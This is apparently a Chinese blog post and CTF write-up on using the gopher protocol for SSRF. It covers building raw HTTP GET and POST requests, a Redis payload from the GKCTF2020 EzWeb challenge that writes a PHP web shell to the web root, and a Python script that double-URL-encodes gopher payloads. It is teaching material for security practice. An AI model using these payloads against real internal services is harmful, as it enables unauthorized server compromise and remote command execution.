Gopher协议与ssrf

0x01 reference和环境准备

参考 Gopher协议在SSRF漏洞中的深入研究(附视频讲解)
参考 Gopher协议与redis未授权访问

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

遇到问题:win10自带的curl不支持gopher协议
在这里插入图片描述
网上下了一个,链接放在下面

将bin目录下三个文件放在C:\Windows\System32目录下,就不用添加环境变量了,替换原来的curl.exe。当然也可以放在其他地方不过要自己添加环境变量。
在这里插入图片描述

删除原来的curl.exe的方法:https://zhidao.baidu.com/question/1384229736645191820.html

0x02 使用gopher构造GET、POST请求

nc启动监听,监听6666端口:

nc -lvp 6666

使用curl发送http请求,命令为

curl gopher://121.196.196.190:6666/abcd

此时nc收到的消息为:bcd
在这里插入图片描述
可以发现url中的a没有被nc接受到,如果命令变为

curl gopher://121.196.196.190:6666/_abcd

此时nc收到的消息为:abcd

所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写)

构造GET请求

那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

服务器上的代码

<?php
    echo "Hello ".$_REQUEST["name"]."\n"
?>

一个GET型的HTTP包,如下:

GET /hello.php?name=Margin HTTP/1.1
Host: 121.196.196.190

URL编码并将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

curl gopher://121.196.196.190:80/_GET%20/hello.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0A

发送成功

在这里插入图片描述

构造POST请求:

POST与GET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数,且Content-Length的长度必须正确

POST /hello.php HTTP/1.1
Host: 121.196.196.190
Content-Type:application/x-www-form-urlencoded
Content-Length:13

name=qaq

现在我们将它进行URL编码:

POST%20/hello.php%20HTTP/1.1%0AHost:%20121.196.196.190%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:13%0A%0Aname=qaq

将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

curl gopher://121.196.196.190:80/_POST%20/hello.php%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=qaq%0d%0a

成功
在这里插入图片描述

0x03 CTF实战

[GKCTF2020]EZ三剑客-EzWeb

源码发现提示,得到内网地址
在这里插入图片描述

输入www.baidu.com回显百度页面,判断存在ssrf
在这里插入图片描述使用file: /var/www/html/index.php能读取到源码

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
		$url = $_GET['url'];
		//echo $url."\n";
		if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
		{
			//var_dump($match);
			die('别这样');
		}
		curl($url);
}
if(isset($_GET['secret'])){
	system('ifconfig');
}
?>

过滤了file协议、dict协议、127.0.0.1和localhost,还可以使用http、gopher
我们使用http协议进行内网主机存活探测。

使用burp进行c段扫描
在这里插入图片描述
发现目标
在这里插入图片描述
接下来使用Gopherus生成打redis payload

在这里插入图片描述

修改一下url,输入框中输入payload

gopher://10.0.158.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

在这里插入图片描述

然后访问shell.php得到flag
在这里插入图片描述

ctfhub POST请求

这道题需要用gopher协议构造一个post包,参数为key
在这里插入图片描述

http访问flag.php得到key的值为5805170ffc11f479662274d624b462d1
在这里插入图片描述

构造的包如下

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=5805170ffc11f479662274d624b462d1

将其url编码

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:36%0A%0Akey=5805170ffc11f479662274d624b462d1

根据要求将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=5805170ffc11f479662274d624b462d1%0d%0a

这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=5805170ffc11f479662274d624b462d1%250d%250a

然后发送它,拿到flag
在这里插入图片描述

写了个脚本自动完成上述步骤,这道题把payload里的key修改一下就可以

import urllib.parse

# 输入要构造的post请求包
payload = '''   
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=601af1680224be3db87254533bd90ab9
'''
# 自动修改Content-Length长度
Content_Length = len(payload.split()[-1])   # 取得Content-Length
payload = payload.replace("36", str(Content_Length))    # 替换Content-Length
# 输入内网ip与端口
payload = "gopher://127.0.0.1:80/_" + payload.strip()

# url编码,python3.0后的编码器 urlencode更新后改为quote_plus
payload = urllib.parse.quote(str(payload))
# 替换
payload = payload.replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=") + "%0d%0a"
print("[+] 1次url编码\n", payload)
payload = urllib.parse.quote(payload).replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=")
print("[+] 2次url编码\n", payload)

结果:

[+] 1次url编码:
 gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=601af1680224be3db87254533bd90ab9%0d%0a
[+] 2次url编码:
 gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=601af1680224be3db87254533bd90ab9%250d%250a

在这里插入图片描述

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值